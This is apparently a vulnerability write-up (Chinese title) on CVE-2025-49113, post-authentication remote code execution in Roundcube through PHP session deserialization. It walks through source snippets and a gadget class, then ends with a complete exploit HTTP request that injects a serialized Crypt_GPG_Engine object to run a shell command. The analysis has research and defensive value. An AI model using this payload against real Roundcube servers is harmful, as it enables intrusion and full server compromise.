CVE-2025-49113 – Roundcube中通过PHP对象反序列化实现认证后远程代码执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

// Validate URL input.
if (!rcube_utils::is_simple_string($type)) {
    rcmail::write_log('errors', 'The URL parameter "_from" contains disallowed characters and the request is thus rejected.');
    $rcmail->output->command('display_message', 'Invalid input', 'error');
    $rcmail->output->send('iframe');
}

public static function is_simple_string($input)
{
    return is_string($input) && !!preg_match('/^[\w.-]+$/i', $input);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

$from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type   = preg_replace('/(add|edit)-/', '', $from);

// Plugins in Settings may use this file for some uploads (#5694)
// Make sure it does not contain a dot, which is a special character
// when using rcube_session::append() below
$type = str_replace('.', '-', $type);

if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
    $id = $attachment['id'];

    // store new file in session
    unset($attachment['status'], $attachment['abort']);
    $rcmail->session->append($type . '.files', $id, $attachment);

1

$rcmail->session->append($type . '.files', $id, $attachment);

1
2
3
4
5
6
7
8

public function append($path, $key, $value)
{
    // re-read session data from DB because it might be outdated
    if (!$this->reloaded && microtime(true) - $this->start > 0.5) {
        $this->reload();
        $this->reloaded = true;
        $this->start = microtime(true);
    }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

public function reload()
{
    // collect updated data from previous appends
    $merge_data = [];
    foreach ((array) $this->appends as $var) {
        $path = explode('.', $var);
        $value = $this->get_node($path, $_SESSION);
        $k = array_pop($path);
        $node = &$this->get_node($path, $merge_data);
        $node[$k] = $value;
    }

    if ($this->key) {
        $data = $this->read($this->key);
    }

    if (!empty($data)) {
        session_decode($data);

        // apply appends and unsets to reloaded data
        $_SESSION = array_merge_recursive($_SESSION, $merge_data);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

/**
 * Serialize session data
 */
protected function serialize($vars)
{
    $data = '';

    if (is_array($vars)) {
        foreach ($vars as $var => $value) {
            $data .= $var . '|' . serialize($value);
        }
    } else {
        $data = 'b:0;';
    }

    return $data;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

/**
 * Unserialize session data
 * https://www.php.net/manual/en/function.session-decode.php#56106
 *
 * @param string $str Serialized data string
 *
 * @return array|false Unserialized data
 */
public static function unserialize($str)
{
    $str = (string) $str;
    $endptr = strlen($str);
    $p = 0;

    $serialized = '';
    $items = 0;
    $level = 0;

    while ($p < $endptr) {
        $q = $p;
        while ($str[$q] != '|') {
            if (++$q >= $endptr) {
                break 2;
            }
        }

        if ($str[$p] == '!') {
            $p++;
            $has_value = false;
        } else {
            $has_value = true;
        }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

private function _closeIdleAgents()
{
    // Note: We check that this binary is executable again for security reasons
    if ($this->_gpgconf && is_executable($this->_gpgconf)) {
        // before 2.1.13 --homedir wasn't supported, use env variable
        $env = ['GNUPGHOME' => $this->_homedir];
        $cmd = $this->_gpgconf . ' --kill gpg-agent';

        if ($process = proc_open($cmd, [], $pipes, null, $env)) {
            proc_close($process);
        }
    }
}

class Crypt_GPG_Engine{
    private $_gpgconf;
    
    function __construct($cmd){
        $this->_gpgconf = $cmd;
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

POST /?_from=edit-!";i:0;O:16:"Crypt_GPG_Engine":1:{S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:18:"touch+/tmp/pwned;#";}i:0;b:0;}";}}&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload HTTP/1.1
Host: roundcube.local
X-Requested-With: XMLHttpRequest
Accept-Encoding: identity
Content-Length: 242

-----------------------------WebKitFormBoundary
Content-Disposition: form-data; name="_file[]"; filename="x|b:0;preferences_time|b:0;preferences|s:179:\"a:3:{i:0;s:57:\".png"
Content-Type: image/png

IMAGE
----------------------------- WebKitFormBoundary--